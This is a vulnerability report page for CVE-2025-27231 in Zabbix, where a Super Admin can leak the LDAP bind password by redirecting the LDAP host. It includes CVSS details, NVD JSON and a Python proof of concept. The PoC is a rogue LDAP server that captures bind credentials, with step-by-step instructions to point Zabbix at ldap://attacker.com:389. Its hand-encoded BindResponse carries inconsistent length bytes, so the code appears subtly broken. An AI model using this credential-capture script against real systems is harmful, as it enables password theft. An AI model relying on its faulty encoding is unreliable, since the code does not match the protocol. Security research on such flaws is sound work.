Security Vulnerability Report
中文
CVE-2025-27231 CVSS 4.9 MEDIUM

CVE-2025-27231

Published: 2025-10-03 12:15:44
Last Modified: 2025-10-08 14:54:18

Description

The LDAP 'Bind password' value cannot be read after saving, but a Super Admin account can leak it by changing LDAP 'Host' to a rogue LDAP server. To mitigate this, the 'Bind password' value is now reset on 'Host' change.

CVSS Details

CVSS Score
4.9
Severity
MEDIUM
CVSS Vector
CVSS:3.1/AV:N/AC:L/PR:H/UI:N/S:U/C:H/I:N/A:N

Configurations (Affected Products)

cpe:2.3:a:zabbix:zabbix:*:*:*:*:*:*:*:* - VULNERABLE
cpe:2.3:a:zabbix:zabbix:*:*:*:*:*:*:*:* - VULNERABLE
cpe:2.3:a:zabbix:zabbix:*:*:*:*:*:*:*:* - VULNERABLE
cpe:2.3:a:zabbix:zabbix:*:*:*:*:*:*:*:* - VULNERABLE
Zabbix(具体受影响版本请参考官方公告:https://support.zabbix.com/browse/ZBX-27062)

PoC / Exploit Code

⚠ For Security Research Only
The following code is for security research and authorized testing only.
python
# CVE-2025-27231 PoC - Zabbix LDAP Bind Password Leakage # This PoC demonstrates how a rogue LDAP server can capture the bind password # Step 1: Set up a rogue LDAP server that logs all bind requests # Using a simple Python LDAP server to capture credentials import socket import struct import threading class RogueLDAPServer: """ A rogue LDAP server that captures bind credentials. Listens on a specified port and logs all incoming LDAP bind requests. """ def __init__(self, host='0.0.0.0', port=389): self.host = host self.port = port self.captured_credentials = [] def start(self): """Start the rogue LDAP server""" server_socket = socket.socket(socket.AF_INET, socket.SOCK_STREAM) server_socket.setsockopt(socket.SOL_SOCKET, socket.SO_REUSEADDR, 1) server_socket.bind((self.host, self.port)) server_socket.listen(5) print(f"[*] Rogue LDAP server listening on {self.host}:{self.port}") while True: client_socket, addr = server_socket.accept() print(f"[*] Connection from {addr}") data = client_socket.recv(4096) # Parse LDAP bind request to extract credentials if data: print(f"[+] Captured LDAP bind request (raw): {data.hex()}") # Simple LDAP Bind Request parsing # LDAP message structure: SEQUENCE { messageID, BindRequest } # BindRequest: [APPLICATION 0] { version, name, authentication } self.captured_credentials.append(data) # Send LDAP BindResponse (success) - simplified # BER-encoded success response response = bytes.fromhex( '302c020101' # SEQUENCE, messageID=1 '610a' # [APPLICATION 1] BindResponse '0a0100' # ENUMERATED resultCode=success(0) '0400' # matchedDN="" '0400' # diagnosticMessage="" ) client_socket.send(response) client_socket.close() # Step 2: Exploit workflow # 1. Attacker gains Super Admin access to Zabbix # 2. Attacker deploys RogueLDAPServer on attacker-controlled host # 3. Attacker logs into Zabbix admin panel # 4. Navigate to: Administration -> Authentication -> LDAP settings # 5. Change LDAP "Host" field to point to rogue server (e.g., ldap://attacker.com:389) # 6. Save the configuration # 7. Zabbix attempts to bind to the rogue LDAP server using stored bind password # 8. Rogue server captures the cleartext bind password if __name__ == "__main__": # Deploy rogue LDAP server rogue = RogueLDAPServer(host='0.0.0.0', port=389) server_thread = threading.Thread(target=rogue.start, daemon=True) server_thread.start() print("[*] Rogue LDAP server deployed. Waiting for Zabbix to connect...") print("[*] Attacker should now change LDAP Host in Zabbix to point here.") import time time.sleep(3600) # Run for 1 hour

References

Raw JSON Data

JSON
{"cve": {"id": "CVE-2025-27231", "sourceIdentifier": "[email protected]", "published": "2025-10-03T12:15:43.593", "lastModified": "2025-10-08T14:54:17.540", "vulnStatus": "Analyzed", "cveTags": [], "descriptions": [{"lang": "en", "value": "The LDAP 'Bind password' value cannot be read after saving, but a Super Admin account can leak it by changing LDAP 'Host' to a rogue LDAP server. To mitigate this, the 'Bind password' value is now reset on 'Host' change."}], "metrics": {"cvssMetricV40": [{"source": "[email protected]", "type": "Secondary", "cvssData": {"version": "4.0", "vectorString": "CVSS:4.0/AV:A/AC:L/AT:P/PR:H/UI:N/VC:N/VI:N/VA:N/SC:H/SI:N/SA:N/E:X/CR:X/IR:X/AR:X/MAV:X/MAC:X/MAT:X/MPR:X/MUI:X/MVC:X/MVI:X/MVA:X/MSC:X/MSI:X/MSA:X/S:X/AU:X/R:X/V:X/RE:X/U:X", "baseScore": 4.3, "baseSeverity": "MEDIUM", "attackVector": "ADJACENT", "attackComplexity": "LOW", "attackRequirements": "PRESENT", "privilegesRequired": "HIGH", "userInteraction": "NONE", "vulnConfidentialityImpact": "NONE", "vulnIntegrityImpact": "NONE", "vulnAvailabilityImpact": "NONE", "subConfidentialityImpact": "HIGH", "subIntegrityImpact": "NONE", "subAvailabilityImpact": "NONE", "exploitMaturity": "NOT_DEFINED", "confidentialityRequirement": "NOT_DEFINED", "integrityRequirement": "NOT_DEFINED", "availabilityRequirement": "NOT_DEFINED", "modifiedAttackVector": "NOT_DEFINED", "modifiedAttackComplexity": "NOT_DEFINED", "modifiedAttackRequirements": "NOT_DEFINED", "modifiedPrivilegesRequired": "NOT_DEFINED", "modifiedUserInteraction": "NOT_DEFINED", "modifiedVulnConfidentialityImpact": "NOT_DEFINED", "modifiedVulnIntegrityImpact": "NOT_DEFINED", "modifiedVulnAvailabilityImpact": "NOT_DEFINED", "modifiedSubConfidentialityImpact": "NOT_DEFINED", "modifiedSubIntegrityImpact": "NOT_DEFINED", "modifiedSubAvailabilityImpact": "NOT_DEFINED", "Safety": "NOT_DEFINED", "Automatable": "NOT_DEFINED", "Recovery": "NOT_DEFINED", "valueDensity": "NOT_DEFINED", "vulnerabilityResponseEffort": "NOT_DEFINED", "providerUrgency": "NOT_DEFINED"}}], "cvssMetricV31": [{"source": "[email protected]", "type": "Primary", "cvssData": {"version": "3.1", "vectorString": "CVSS:3.1/AV:N/AC:L/PR:H/UI:N/S:U/C:H/I:N/A:N", "baseScore": 4.9, "baseSeverity": "MEDIUM", "attackVector": "NETWORK", "attackComplexity": "LOW", "privilegesRequired": "HIGH", "userInteraction": "NONE", "scope": "UNCHANGED", "confidentialityImpact": "HIGH", "integrityImpact": "NONE", "availabilityImpact": "NONE"}, "exploitabilityScore": 1.2, "impactScore": 3.6}]}, "weaknesses": [{"source": "[email protected]", "type": "Secondary", "description": [{"lang": "en", "value": "CWE-522"}]}], "configurations": [{"nodes": [{"operator": "OR", "negate": false, "cpeMatch": [{"vulnerable": true, "criteria": "cpe:2.3:a:zabbix:zabbix:*:*:*:*:*:*:*:*", "versionStartIncluding": "6.0.0", "versionEndExcluding": "6.0.41", "matchCriteriaId": "EB51CE02-E39D-402B-A2A4-ABDC678D44F6"}, {"vulnerable": true, "criteria": "cpe:2.3:a:zabbix:zabbix:*:*:*:*:*:*:*:*", "versionStartIncluding": "7.0.0", "versionEndExcluding": "7.0.18", "matchCriteriaId": "9F4CE82D-66AF-4C88-925B-1B5CF1D0F174"}, {"vulnerable": true, "criteria": "cpe:2.3:a:zabbix:zabbix:*:*:*:*:*:*:*:*", "versionStartIncluding": "7.2.0", "versionEndExcluding": "7.2.12", "matchCriteriaId": "919D7232-739F-44E7-A491-FB4BFEC8D294"}, {"vulnerable": true, "criteria": "cpe:2.3:a:zabbix:zabbix:*:*:*:*:*:*:*:*", "versionStartIncluding": "7.4.0", "versionEndExcluding": "7.4.2", "matchCriteriaId": "02FECC41-6BFA-43DB-8BC0-0317085195AC"}]}]}], "references": [{"url": "https://support.zabbix.com/browse/ZBX-27062", "source": "[email protected]", "tags": ["Vendor Advisory"]}]}}